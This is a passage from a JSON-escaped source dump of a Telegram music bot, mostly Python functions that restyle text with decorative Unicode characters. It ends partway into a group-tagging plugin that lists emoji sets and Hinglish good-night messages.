\"t\": \"𝓽\",\n            \"u\": \"ꪊ\",\n            \"v\": \"ꪜ\",\n            \"w\": \"᭙\",\n            \"x\": \"᥊\",\n            \"y\": \"ꪗ\",\n            \"z\": \"ɀ\",\n            \"A\": \"ꪖ\",\n            \"B\": \"᥇\",\n            \"C\": \"ᥴ\",\n            \"D\": \"ᦔ\",\n            \"E\": \"ꫀ\",\n            \"F\": \"ᠻ\",\n            \"G\": \"ᧁ\",\n            \"H\": \"ꫝ\",\n            \"I\": \"𝓲\",\n            \"J\": \"𝓳\",\n            \"K\": \"𝘬\",\n            \"L\": \"ꪶ\",\n            \"M\": \"ꪑ\",\n            \"N\": \"ꪀ\",\n            \"O\": \"ꪮ\",\n            \"P\": \"ρ\",\n            \"Q\": \"𝘲\",\n            \"R\": \"𝘳\",\n            \"S\": \"𝘴\",\n            \"T\": \"𝓽\",\n            \"U\": \"ꪊ\",\n            \"V\": \"ꪜ\",\n            \"W\": \"᭙\",\n            \"X\": \"᥊\",\n            \"Y\": \"ꪗ\",\n            \"Z\": \"ɀ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def manga(text):\n        style = {\n            \"a\": \"卂\",\n            \"b\": \"乃\",\n            \"c\": \"匚\",\n            \"d\": \"ᗪ\",\n            \"e\": \"乇\",\n            \"f\": \"千\",\n            \"g\": \"ᘜ\",\n            \"h\": \"卄\",\n            \"i\": \"|\",\n            \"j\": \"ﾌ\",\n            \"k\": \"Ҝ\",\n            \"l\": \"ㄥ\",\n            \"m\": \"爪\",\n            \"n\": \"几\",\n            \"o\": \"ㄖ\",\n            \"p\": \"卩\",\n            \"q\": \"Ҩ\",\n            \"r\": \"尺\",\n            \"s\": \"丂\",\n            \"t\": \"ㄒ\",\n            \"u\": \"ㄩ\",\n            \"v\": \"ᐯ\",\n            \"w\": \"山\",\n            \"x\": \"乂\",\n            \"y\": \"ㄚ\",\n            \"z\": \"乙\",\n            \"A\": \"卂\",\n            \"B\": \"乃\",\n            \"C\": \"匚\",\n            \"D\": \"ᗪ\",\n            \"E\": \"乇\",\n            \"F\": \"千\",\n            \"G\": \"ᘜ\",\n            \"H\": \"卄\",\n            \"I\": \"|\",\n            \"J\": \"ﾌ\",\n            \"K\": \"Ҝ\",\n            \"L\": \"ㄥ\",\n            \"M\": \"爪\",\n            \"N\": \"几\",\n            \"O\": \"ㄖ\",\n            \"P\": \"卩\",\n            \"Q\": \"Ҩ\",\n            \"R\": \"尺\",\n            \"S\": \"丂\",\n            \"T\": \"ㄒ\",\n            \"U\": \"ㄩ\",\n            \"V\": \"ᐯ\",\n            \"W\": \"山\",\n            \"X\": \"乂\",\n            \"Y\": \"ㄚ\",\n            \"Z\": \"乙\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def stinky(text):\n        style = {\n            \"a\": \"a̾\",\n            \"b\": \"b̾\",\n            \"c\": \"c̾\",\n            \"d\": \"d̾\",\n            \"e\": \"e̾\",\n            \"f\": \"f̾\",\n            \"g\": \"g̾\",\n            \"h\": \"h̾\",\n            \"i\": \"i̾\",\n            \"j\": \"j̾\",\n            \"k\": \"k̾\",\n            \"l\": \"l̾\",\n            \"m\": \"m̾\",\n            \"n\": \"n̾\",\n            \"o\": \"o̾\",\n            \"p\": \"p̾\",\n            \"q\": \"q̾\",\n            \"r\": \"r̾\",\n            \"s\": \"s̾\",\n            \"t\": \"t̾\",\n            \"u\": \"u̾\",\n            \"v\": \"v̾\",\n            \"w\": \"w̾\",\n            \"x\": \"x̾\",\n            \"y\": \"y̾\",\n            \"z\": \"z̾\",\n            \"A\": \"A̾\",\n            \"B\": \"B̾\",\n            \"C\": \"C̾\",\n            \"D\": \"D̾\",\n            \"E\": \"E̾\",\n            \"F\": \"F̾\",\n            \"G\": \"G̾\",\n            \"H\": \"H̾\",\n            \"I\": \"I̾\",\n            \"J\": \"J̾\",\n            \"K\": \"K̾\",\n            \"L\": \"L̾\",\n            \"M\": \"M̾\",\n            \"N\": \"N̾\",\n            \"O\": \"O̾\",\n            \"P\": \"P̾\",\n            \"Q\": \"Q̾\",\n            \"R\": \"R̾\",\n            \"S\": \"S̾\",\n            \"T\": \"T̾\",\n            \"U\": \"U̾\",\n            \"V\": \"V̾\",\n            \"W\": \"W̾\",\n            \"X\": \"X̾\",\n            \"Y\": \"Y̾\",\n            \"Z\": \"Z̾\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bubbles(text):\n        style = {\n            \"a\": \"ḁͦ\",\n            \"b\": \"b̥ͦ\",\n            \"c\": \"c̥ͦ\",\n            \"d\": \"d̥ͦ\",\n            \"e\": \"e̥ͦ\",\n            \"f\": \"f̥ͦ\",\n            \"g\": \"g̥ͦ\",\n            \"h\": \"h̥ͦ\",\n            \"i\": \"i̥ͦ\",\n            \"j\": \"j̥ͦ\",\n            \"k\": \"k̥ͦ\",\n            \"l\": \"l̥ͦ\",\n            \"m\": \"m̥ͦ\",\n            \"n\": \"n̥ͦ\",\n            \"o\": \"o̥ͦ\",\n            \"p\": \"p̥ͦ\",\n            \"q\": \"q̥ͦ\",\n            \"r\": \"r̥ͦ\",\n            \"s\": \"s̥ͦ\",\n            \"t\": \"t̥ͦ\",\n            \"u\": \"u̥ͦ\",\n            \"v\": \"v̥ͦ\",\n            \"w\": \"w̥ͦ\",\n            \"x\": \"x̥ͦ\",\n            \"y\": \"y̥ͦ\",\n            \"z\": \"z̥ͦ\",\n            \"A\": \"Ḁͦ\",\n            \"B\": \"B̥ͦ\",\n            \"C\": \"C̥ͦ\",\n            \"D\": \"D̥ͦ\",\n            \"E\": \"E̥ͦ\",\n            \"F\": \"F̥ͦ\",\n            \"G\": \"G̥ͦ\",\n            \"H\": \"H̥ͦ\",\n            \"I\": \"I̥ͦ\",\n            \"J\": \"J̥ͦ\",\n            \"K\": \"K̥ͦ\",\n            \"L\": \"L̥ͦ\",\n            \"M\": \"M̥ͦ\",\n            \"N\": \"N̥ͦ\",\n            \"O\": \"O̥ͦ\",\n            \"P\": \"P̥ͦ\",\n            \"Q\": \"Q̥ͦ\",\n            \"R\": \"R̥ͦ\",\n            \"S\": \"S̥ͦ\",\n            \"T\": \"T̥ͦ\",\n            \"U\": \"U̥ͦ\",\n            \"V\": \"V̥ͦ\",\n            \"W\": \"W̥ͦ\",\n            \"X\": \"X̥ͦ\",\n            \"Y\": \"Y̥ͦ\",\n            \"Z\": \"Z̥ͦ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def underline(text):\n        style = {\n            \"a\": \"a͟\",\n            \"b\": \"b͟\",\n            \"c\": \"c͟\",\n            \"d\": \"d͟\",\n            \"e\": \"e͟\",\n            \"f\": \"f͟\",\n            \"g\": \"g͟\",\n            \"h\": \"h͟\",\n            \"i\": \"i͟\",\n            \"j\": \"j͟\",\n            \"k\": \"k͟\",\n            \"l\": \"l͟\",\n            \"m\": \"m͟\",\n            \"n\": \"n͟\",\n            \"o\": \"o͟\",\n            \"p\": \"p͟\",\n            \"q\": \"q͟\",\n            \"r\": \"r͟\",\n            \"s\": \"s͟\",\n            \"t\": \"t͟\",\n            \"u\": \"u͟\",\n            \"v\": \"v͟\",\n            \"w\": \"w͟\",\n            \"x\": \"x͟\",\n            \"y\": \"y͟\",\n            \"z\": \"z͟\",\n            \"A\": \"A͟\",\n            \"B\": \"B͟\",\n            \"C\": \"C͟\",\n            \"D\": \"D͟\",\n            \"E\": \"E͟\",\n            \"F\": \"F͟\",\n            \"G\": \"G͟\",\n            \"H\": \"H͟\",\n            \"I\": \"I͟\",\n            \"J\": \"J͟\",\n            \"K\": \"K͟\",\n            \"L\": \"L͟\",\n            \"M\": \"M͟\",\n            \"N\": \"N͟\",\n            \"O\": \"O͟\",\n            \"P\": \"P͟\",\n            \"Q\": \"Q͟\",\n            \"R\": \"R͟\",\n            \"S\": \"S͟\",\n            \"T\": \"T͟\",\n            \"U\": \"U͟\",\n            \"V\": \"V͟\",\n            \"W\": \"W͟\",\n            \"X\": \"X͟\",\n            \"Y\": \"Y͟\",\n            \"Z\": \"Z͟\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def ladybug(text):\n        style = {\n            \"a\": \"ꍏ\",\n            \"b\": \"ꌃ\",\n            \"c\": \"ꏳ\",\n            \"d\": \"ꀷ\",\n            \"e\": \"ꏂ\",\n            \"f\": \"ꎇ\",\n            \"g\": \"ꁅ\",\n            \"h\": \"ꀍ\",\n            \"i\": \"ꀤ\",\n            \"j\": \"꒻\",\n            \"k\": \"ꀘ\",\n            \"l\": \"꒒\",\n            \"m\": \"ꎭ\",\n            \"n\": \"ꈤ\",\n            \"o\": \"ꂦ\",\n            \"p\": \"ᖘ\",\n            \"q\": \"ꆰ\",\n            \"r\": \"ꋪ\",\n            \"s\": \"ꌚ\",\n            \"t\": \"꓄\",\n            \"u\": \"ꀎ\",\n            \"v\": \"꒦\",\n            \"w\": \"ꅐ\",\n            \"x\": \"ꉧ\",\n            \"y\": \"ꌩ\",\n            \"z\": \"ꁴ\",\n            \"A\": \"ꍏ\",\n            \"B\": \"ꌃ\",\n            \"C\": \"ꏳ\",\n            \"D\": \"ꀷ\",\n            \"E\": \"ꏂ\",\n            \"F\": \"ꎇ\",\n            \"G\": \"ꁅ\",\n            \"H\": \"ꀍ\",\n            \"I\": \"ꀤ\",\n            \"J\": \"꒻\",\n            \"K\": \"ꀘ\",\n            \"L\": \"꒒\",\n            \"M\": \"ꎭ\",\n            \"N\": \"ꈤ\",\n            \"O\": \"ꂦ\",\n            \"P\": \"ᖘ\",\n            \"Q\": \"ꆰ\",\n            \"R\": \"ꋪ\",\n            \"S\": \"ꌚ\",\n            \"T\": \"꓄\",\n            \"U\": \"ꀎ\",\n            \"V\": \"꒦\",\n            \"W\": \"ꅐ\",\n            \"X\": \"ꉧ\",\n            \"Y\": \"ꌩ\",\n            \"Z\": \"ꁴ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def rays(text):\n        style = {\n            \"a\": \"a҉\",\n            \"b\": \"b҉\",\n            \"c\": \"c҉\",\n            \"d\": \"d҉\",\n            \"e\": \"e҉\",\n            \"f\": \"f҉\",\n            \"g\": \"g҉\",\n            \"h\": \"h҉\",\n            \"i\": \"i҉\",\n            \"j\": \"j҉\",\n            \"k\": \"k҉\",\n            \"l\": \"l҉\",\n            \"m\": \"m҉\",\n            \"n\": \"n҉\",\n            \"o\": \"o҉\",\n            \"p\": \"p҉\",\n            \"q\": \"q҉\",\n            \"r\": \"r҉\",\n            \"s\": \"s҉\",\n            \"t\": \"t҉\",\n            \"u\": \"u҉\",\n            \"v\": \"v҉\",\n            \"w\": \"w҉\",\n            \"x\": \"x҉\",\n            \"y\": \"y҉\",\n            \"z\": \"z҉\",\n            \"A\": \"A҉\",\n            \"B\": \"B҉\",\n            \"C\": \"C҉\",\n            \"D\": \"D҉\",\n            \"E\": \"E҉\",\n            \"F\": \"F҉\",\n            \"G\": \"G҉\",\n            \"H\": \"H҉\",\n            \"I\": \"I҉\",\n            \"J\": \"J҉\",\n            \"K\": \"K҉\",\n            \"L\": \"L҉\",\n            \"M\": \"M҉\",\n            \"N\": \"N҉\",\n            \"O\": \"O҉\",\n            \"P\": \"P҉\",\n            \"Q\": \"Q҉\",\n            \"R\": \"R҉\",\n            \"S\": \"S҉\",\n            \"T\": \"T҉\",\n            \"U\": \"U҉\",\n            \"V\": \"V҉\",\n            \"W\": \"W҉\",\n            \"X\": \"X҉\",\n            \"Y\": \"Y҉\",\n            \"Z\": \"Z҉\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def birds(text):\n        style = {\n            \"a\": \"a҈\",\n            \"b\": \"b҈\",\n            \"c\": \"c҈\",\n            \"d\": \"d҈\",\n            \"e\": \"e҈\",\n            \"f\": \"f҈\",\n            \"g\": \"g҈\",\n            \"h\": \"h҈\",\n            \"i\": \"i҈\",\n            \"j\": \"j҈\",\n            \"k\": \"k҈\",\n            \"l\": \"l҈\",\n            \"m\": \"m҈\",\n            \"n\": \"n҈\",\n            \"o\": \"o҈\",\n            \"p\": \"p҈\",\n            \"q\": \"q҈\",\n            \"r\": \"r҈\",\n            \"s\": \"s҈\",\n            \"t\": \"t҈\",\n            \"u\": \"u҈\",\n            \"v\": \"v҈\",\n            \"w\": \"w҈\",\n            \"x\": \"x҈\",\n            \"y\": \"y҈\",\n            \"z\": \"z҈\",\n            \"A\": \"A҈\",\n            \"B\": \"B҈\",\n            \"C\": \"C҈\",\n            \"D\": \"D҈\",\n            \"E\": \"E҈\",\n            \"F\": \"F҈\",\n            \"G\": \"G҈\",\n            \"H\": \"H҈\",\n            \"I\": \"I҈\",\n            \"J\": \"J҈\",\n            \"K\": \"K҈\",\n            \"L\": \"L҈\",\n            \"M\": \"M҈\",\n            \"N\": \"N҈\",\n            \"O\": \"O҈\",\n            \"P\": \"P҈\",\n            \"Q\": \"Q҈\",\n            \"R\": \"R҈\",\n            \"S\": \"S҈\",\n            \"T\": \"T҈\",\n            \"U\": \"U҈\",\n            \"V\": \"V҈\",\n            \"W\": \"W҈\",\n            \"X\": \"X҈\",\n            \"Y\": \"Y҈\",\n            \"Z\": \"Z҈\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def slash(text):\n        style = {\n            \"a\": \"a̸\",\n            \"b\": \"b̸\",\n            \"c\": \"c̸\",\n            \"d\": \"d̸\",\n            \"e\": \"e̸\",\n            \"f\": \"f̸\",\n            \"g\": \"g̸\",\n            \"h\": \"h̸\",\n            \"i\": \"i̸\",\n            \"j\": \"j̸\",\n            \"k\": \"k̸\",\n            \"l\": \"l̸\",\n            \"m\": \"m̸\",\n            \"n\": \"n̸\",\n            \"o\": \"o̸\",\n            \"p\": \"p̸\",\n            \"q\": \"q̸\",\n            \"r\": \"r̸\",\n            \"s\": \"s̸\",\n            \"t\": \"t̸\",\n            \"u\": \"u̸\",\n            \"v\": \"v̸\",\n            \"w\": \"w̸\",\n            \"x\": \"x̸\",\n            \"y\": \"y̸\",\n            \"z\": \"z̸\",\n            \"A\": \"A̸\",\n            \"B\": \"B̸\",\n            \"C\": \"C̸\",\n            \"D\": \"D̸\",\n            \"E\": \"E̸\",\n            \"F\": \"F̸\",\n            \"G\": \"G̸\",\n            \"H\": \"H̸\",\n            \"I\": \"I̸\",\n            \"J\": \"J̸\",\n            \"K\": \"K̸\",\n            \"L\": \"L̸\",\n            \"M\": \"M̸\",\n            \"N\": \"N̸\",\n            \"O\": \"O̸\",\n            \"P\": \"P̸\",\n            \"Q\": \"Q̸\",\n            \"R\": \"R̸\",\n            \"S\": \"S̸\",\n            \"T\": \"T̸\",\n            \"U\": \"U̸\",\n            \"V\": \"V̸\",\n            \"W\": \"W̸\",\n            \"X\": \"X̸\",\n            \"Y\": \"Y̸\",\n            \"Z\": \"Z̸\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def stop(text):\n        style = {\n            \"a\": \"a⃠\",\n            \"b\": \"b⃠\",\n            \"c\": \"c⃠\",\n            \"d\": \"d⃠\",\n            \"e\": \"e⃠\",\n            \"f\": \"f⃠\",\n            \"g\": \"g⃠\",\n            \"h\": \"h⃠\",\n            \"i\": \"i⃠\",\n            \"j\": \"j⃠\",\n            \"k\": \"k⃠\",\n            \"l\": \"l⃠\",\n            \"m\": \"m⃠\",\n            \"n\": \"n⃠\",\n            \"o\": \"o⃠\",\n            \"p\": \"p⃠\",\n            \"q\": \"q⃠\",\n            \"r\": \"r⃠\",\n            \"s\": \"s⃠\",\n            \"t\": \"t⃠\",\n            \"u\": \"u⃠\",\n            \"v\": \"v⃠\",\n            \"w\": \"w⃠\",\n            \"x\": \"x⃠\",\n            \"y\": \"y⃠\",\n            \"z\": \"z⃠\",\n            \"A\": \"A⃠\",\n            \"B\": \"B⃠\",\n            \"C\": \"C⃠\",\n            \"D\": \"D⃠\",\n            \"E\": \"E⃠\",\n            \"F\": \"F⃠\",\n            \"G\": \"G⃠\",\n            \"H\": \"H⃠\",\n            \"I\": \"I⃠\",\n            \"J\": \"J⃠\",\n            \"K\": \"K⃠\",\n            \"L\": \"L⃠\",\n            \"M\": \"M⃠\",\n            \"N\": \"N⃠\",\n            \"O\": \"O⃠\",\n            \"P\": \"P⃠\",\n            \"Q\": \"Q⃠\",\n            \"R\": \"R⃠\",\n            \"S\": \"S⃠\",\n            \"T\": \"T⃠\",\n            \"U\": \"U⃠\",\n            \"V\": \"V⃠\",\n            \"W\": \"W⃠\",\n            \"X\": \"X⃠\",\n            \"Y\": \"Y⃠\",\n            \"Z\": \"Z⃠\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def skyline(text):\n        style = {\n            \"a\": \"a̺͆\",\n            \"b\": \"b̺͆\",\n            \"c\": \"c̺͆\",\n            \"d\": \"d̺͆\",\n            \"e\": \"e̺͆\",\n            \"f\": \"f̺͆\",\n            \"g\": \"g̺͆\",\n            \"h\": \"h̺͆\",\n            \"i\": \"i̺͆\",\n            \"j\": \"j̺͆\",\n            \"k\": \"k̺͆\",\n            \"l\": \"l̺͆\",\n            \"m\": \"m̺͆\",\n            \"n\": \"n̺͆\",\n            \"o\": \"o̺͆\",\n            \"p\": \"p̺͆\",\n            \"q\": \"q̺͆\",\n            \"r\": \"r̺͆\",\n            \"s\": \"s̺͆\",\n            \"t\": \"t̺͆\",\n            \"u\": \"u̺͆\",\n            \"v\": \"v̺͆\",\n            \"w\": \"w̺͆\",\n            \"x\": \"x̺͆\",\n            \"y\": \"y̺͆\",\n            \"z\": \"z̺͆\",\n            \"A\": \"A̺͆\",\n            \"B\": \"B̺͆\",\n            \"C\": \"C̺͆\",\n            \"D\": \"D̺͆\",\n            \"E\": \"E̺͆\",\n            \"F\": \"F̺͆\",\n            \"G\": \"G̺͆\",\n            \"H\": \"H̺͆\",\n            \"I\": \"I̺͆\",\n            \"J\": \"J̺͆\",\n            \"K\": \"K̺͆\",\n            \"L\": \"L̺͆\",\n            \"M\": \"M̺͆\",\n            \"N\": \"N̺͆\",\n            \"O\": \"O̺͆\",\n            \"P\": \"P̺͆\",\n            \"Q\": \"Q̺͆\",\n            \"R\": \"R̺͆\",\n            \"S\": \"S̺͆\",\n            \"T\": \"T̺͆\",\n            \"U\": \"U̺͆\",\n            \"V\": \"V̺͆\",\n            \"W\": \"W̺͆\",\n            \"X\": \"X̺͆\",\n            \"Y\": \"Y̺͆\",\n            \"Z\": \"Z̺͆\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def arrows(text):\n        style = {\n            \"a\": \"a͎\",\n            \"b\": \"b͎\",\n            \"c\": \"c͎\",\n            \"d\": \"d͎\",\n            \"e\": \"e͎\",\n            \"f\": \"f͎\",\n            \"g\": \"g͎\",\n            \"h\": \"h͎\",\n            \"i\": \"i͎\",\n            \"j\": \"j͎\",\n            \"k\": \"k͎\",\n            \"l\": \"l͎\",\n            \"m\": \"m͎\",\n            \"n\": \"n͎\",\n            \"o\": \"o͎\",\n            \"p\": \"p͎\",\n            \"q\": \"q͎\",\n            \"r\": \"r͎\",\n            \"s\": \"s͎\",\n            \"t\": \"t͎\",\n            \"u\": \"u͎\",\n            \"v\": \"v͎\",\n            \"w\": \"w͎\",\n            \"x\": \"x͎\",\n            \"y\": \"y͎\",\n            \"z\": \"z͎\",\n            \"A\": \"A͎\",\n            \"B\": \"B͎\",\n            \"C\": \"C͎\",\n            \"D\": \"D͎\",\n            \"E\": \"E͎\",\n            \"F\": \"F͎\",\n            \"G\": \"G͎\",\n            \"H\": \"H͎\",\n            \"I\": \"I͎\",\n            \"J\": \"J͎\",\n            \"K\": \"K͎\",\n            \"L\": \"L͎\",\n            \"M\": \"M͎\",\n            \"N\": \"N͎\",\n            \"O\": \"O͎\",\n            \"P\": \"P͎\",\n            \"Q\": \"Q͎\",\n            \"R\": \"R͎\",\n            \"S\": \"S͎\",\n            \"T\": \"T͎\",\n            \"U\": \"U͎\",\n            \"V\": \"V͎\",\n            \"W\": \"W͎\",\n            \"X\": \"X͎\",\n            \"Y\": \"Y͎\",\n            \"Z\": \"Z͎\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def rvnes(text):\n        style = {\n            \"a\": \"ል\",\n            \"b\": \"ጌ\",\n            \"c\": \"ር\",\n            \"d\": \"ዕ\",\n            \"e\": \"ቿ\",\n            \"f\": \"ቻ\",\n            \"g\": \"ኗ\",\n            \"h\": \"ዘ\",\n            \"i\": \"ጎ\",\n            \"j\": \"ጋ\",\n            \"k\": \"ጕ\",\n            \"l\": \"ረ\",\n            \"m\": \"ጠ\",\n            \"n\": \"ክ\",\n            \"o\": \"ዐ\",\n            \"p\": \"የ\",\n            \"q\": \"ዒ\",\n            \"r\": \"ዪ\",\n            \"s\": \"ነ\",\n            \"t\": \"ፕ\",\n            \"u\": \"ሁ\",\n            \"v\": \"ሀ\",\n            \"w\": \"ሠ\",\n            \"x\": \"ሸ\",\n            \"y\": \"ሃ\",\n            \"z\": \"ጊ\",\n            \"A\": \"ል\",\n            \"B\": \"ጌ\",\n            \"C\": \"ር\",\n            \"D\": \"ዕ\",\n            \"E\": \"ቿ\",\n            \"F\": \"ቻ\",\n            \"G\": \"ኗ\",\n            \"H\": \"ዘ\",\n            \"I\": \"ጎ\",\n            \"J\": \"ጋ\",\n            \"K\": \"ጕ\",\n            \"L\": \"ረ\",\n            \"M\": \"ጠ\",\n            \"N\": \"ክ\",\n            \"O\": \"ዐ\",\n            \"P\": \"የ\",\n            \"Q\": \"ዒ\",\n            \"R\": \"ዪ\",\n            \"S\": \"ነ\",\n            \"T\": \"ፕ\",\n            \"U\": \"ሁ\",\n            \"V\": \"ሀ\",\n            \"W\": \"ሠ\",\n            \"X\": \"ሸ\",\n            \"Y\": \"ሃ\",\n            \"Z\": \"ጊ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def strike(text):\n        style = {\n            \"a\": \"a̶\",\n            \"b\": \"b̶\",\n            \"c\": \"c̶\",\n            \"d\": \"d̶\",\n            \"e\": \"e̶\",\n            \"f\": \"f̶\",\n            \"g\": \"g̶\",\n            \"h\": \"h̶\",\n            \"i\": \"i̶\",\n            \"j\": \"j̶\",\n            \"k\": \"k̶\",\n            \"l\": \"l̶\",\n            \"m\": \"m̶\",\n            \"n\": \"n̶\",\n            \"o\": \"o̶\",\n            \"p\": \"p̶\",\n            \"q\": \"q̶\",\n            \"r\": \"r̶\",\n            \"s\": \"s̶\",\n            \"t\": \"t̶\",\n            \"u\": \"u̶\",\n            \"v\": \"v̶\",\n            \"w\": \"w̶\",\n            \"x\": \"x̶\",\n            \"y\": \"y̶\",\n            \"z\": \"z̶\",\n            \"A\": \"A̶\",\n            \"B\": \"B̶\",\n            \"C\": \"C̶\",\n            \"D\": \"D̶\",\n            \"E\": \"E̶\",\n            \"F\": \"F̶\",\n            \"G\": \"G̶\",\n            \"H\": \"H̶\",\n            \"I\": \"I̶\",\n            \"J\": \"J̶\",\n            \"K\": \"K̶\",\n            \"L\": \"L̶\",\n            \"M\": \"M̶\",\n            \"N\": \"N̶\",\n            \"O\": \"O̶\",\n            \"P\": \"P̶\",\n            \"Q\": \"Q̶\",\n            \"R\": \"R̶\",\n            \"S\": \"S̶\",\n            \"T\": \"T̶\",\n            \"U\": \"U̶\",\n            \"V\": \"V̶\",\n            \"W\": \"W̶\",\n            \"X\": \"X̶\",\n            \"Y\": \"Y̶\",\n            \"Z\": \"Z̶\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def frozen(text):\n        style = {\n            \"a\": \"a༙\",\n            \"b\": \"b༙\",\n            \"c\": \"c༙\",\n            \"d\": \"d༙\",\n            \"e\": \"e༙\",\n            \"f\": \"f༙\",\n            \"g\": \"g༙\",\n            \"h\": \"h༙\",\n            \"i\": \"i༙\",\n            \"j\": \"j༙\",\n            \"k\": \"k༙\",\n            \"l\": \"l༙\",\n            \"m\": \"m༙\",\n            \"n\": \"n༙\",\n            \"o\": \"o༙\",\n            \"p\": \"p༙\",\n            \"q\": \"q༙\",\n            \"r\": \"r༙\",\n            \"s\": \"s༙\",\n            \"t\": \"t༙\",\n            \"u\": \"u༙\",\n            \"v\": \"v༙\",\n            \"w\": \"w༙\",\n            \"x\": \"x༙\",\n            \"y\": \"y༙\",\n            \"z\": \"z༙\",\n            \"A\": \"A༙\",\n            \"B\": \"B༙\",\n            \"C\": \"C༙\",\n            \"D\": \"D༙\",\n            \"E\": \"E༙\",\n            \"F\": \"F༙\",\n            \"G\": \"G༙\",\n            \"H\": \"H༙\",\n            \"I\": \"I༙\",\n            \"J\": \"J༙\",\n            \"K\": \"K༙\",\n            \"L\": \"L༙\",\n            \"M\": \"M༙\",\n            \"N\": \"N༙\",\n            \"O\": \"O༙\",\n            \"P\": \"P༙\",\n            \"Q\": \"Q༙\",\n            \"R\": \"R༙\",\n            \"S\": \"S༙\",\n            \"T\": \"T༙\",\n            \"U\": \"U༙\",\n            \"V\": \"V༙\",\n            \"W\": \"W༙\",\n            \"X\": \"X༙\",\n            \"Y\": \"Y༙\",\n            \"Z\": \"Z༙\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/gmtag.py",
    "content": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType, ChatMemberStatus\nfrom pyrogram.errors import UserNotParticipant\nfrom pyrogram.types import ChatPermissions\n\nspam_chats = []\n\nEMOJI = [ \"🦋🦋🦋🦋🦋\",\n          \"🧚🌸🧋🍬🫖\",\n          \"🥀🌷🌹🌺💐\",\n          \"🌸🌿💮🌱🌵\",\n          \"❤️💚💙💜🖤\",\n          \"💓💕💞💗💖\",\n          \"🌸💐🌺🌹🦋\",\n          \"🍔🦪🍛🍲🥗\",\n          \"🍎🍓🍒🍑🌶️\",\n          \"🧋🥤🧋🥛🍷\",\n          \"🍬🍭🧁🎂🍡\",\n          \"🍨🧉🍺☕🍻\",\n          \"🥪🥧🍦🍥🍚\",\n          \"🫖☕🍹🍷🥛\",\n          \"☕🧃🍩🍦🍙\",\n          \"🍁🌾💮🍂🌿\",\n          \"🌨️🌥️⛈️🌩️🌧️\",\n          \"🌷🏵️🌸🌺💐\",\n          \"💮🌼🌻🍀🍁\",\n          \"🧟🦸🦹🧙👸\",\n          \"🧅🍠🥕🌽🥦\",\n          \"🐷🐹🐭🐨🐻‍❄️\",\n          \"🦋🐇🐀🐈🐈‍⬛\",\n          \"🌼🌳🌲🌴🌵\",\n          \"🥩🍋🍐🍈🍇\",\n          \"🍴🍽️🔪🍶🥃\",\n          \"🕌🏰🏩⛩️🏩\",\n          \"🎉🎊🎈🎂🎀\",\n          \"🪴🌵🌴🌳🌲\",\n          \"🎄🎋🎍🎑🎎\",\n          \"🦅🦜🕊️🦤🦢\",\n          \"🦤🦩🦚🦃🦆\",\n          \"🐬🦭🦈🐋🐳\",\n          \"🐔🐟🐠🐡🦐\",\n          \"🦩🦀🦑🐙🦪\",\n          \"🐦🦂🕷️🕸️🐚\",\n          \"🥪🍰🥧🍨🍨\",\n          \" 🥬🍉🧁🧇\",\n        ]\n\nTAGMES = [ \" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ 🌚** \",\n           \" **➠ ᴄʜᴜᴘ ᴄʜᴀᴘ sᴏ ᴊᴀ 🙊** \",\n           \" **➠ ᴘʜᴏɴᴇ ʀᴀᴋʜ ᴋᴀʀ sᴏ ᴊᴀ, ɴᴀʜɪ ᴛᴏ ʙʜᴏᴏᴛ ᴀᴀ ᴊᴀʏᴇɢᴀ..👻** \",\n           \" **➠ ᴀᴡᴇᴇ ʙᴀʙᴜ sᴏɴᴀ ᴅɪɴ ᴍᴇɪɴ ᴋᴀʀ ʟᴇɴᴀ ᴀʙʜɪ sᴏ ᴊᴀᴏ..?? 🥲** \",\n           \" **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ ʏᴇ ᴀᴘɴᴇ ɢғ sᴇ ʙᴀᴀᴛ ᴋʀ ʀʜᴀ ʜ ʀᴀᴊᴀɪ ᴍᴇ ɢʜᴜs ᴋᴀʀ, sᴏ ɴᴀʜɪ ʀᴀʜᴀ 😜** \",\n           \" **➠ ᴘᴀᴘᴀ ʏᴇ ᴅᴇᴋʜᴏ ᴀᴘɴᴇ ʙᴇᴛᴇ ᴋᴏ ʀᴀᴀᴛ ʙʜᴀʀ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ʜᴀɪ 🤭** \",\n           \" **➠ ᴊᴀɴᴜ ᴀᴀᴊ ʀᴀᴀᴛ ᴋᴀ sᴄᴇɴᴇ ʙɴᴀ ʟᴇ..?? 🌠** \",\n           \" **➠ ɢɴ sᴅ ᴛᴄ.. 🙂** \",\n           \" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ sᴡᴇᴇᴛ ᴅʀᴇᴀᴍ ᴛᴀᴋᴇ ᴄᴀʀᴇ..?? ✨** \",\n           \" **➠ ʀᴀᴀᴛ ʙʜᴜᴛ ʜᴏ ɢʏɪ ʜᴀɪ sᴏ ᴊᴀᴏ, ɢɴ..?? 🌌** \",\n           \" **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ 11 ʙᴀᴊɴᴇ ᴡᴀʟᴇ ʜᴀɪ ʏᴇ ᴀʙʜɪ ᴛᴀᴋ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ɴᴀʜɪ 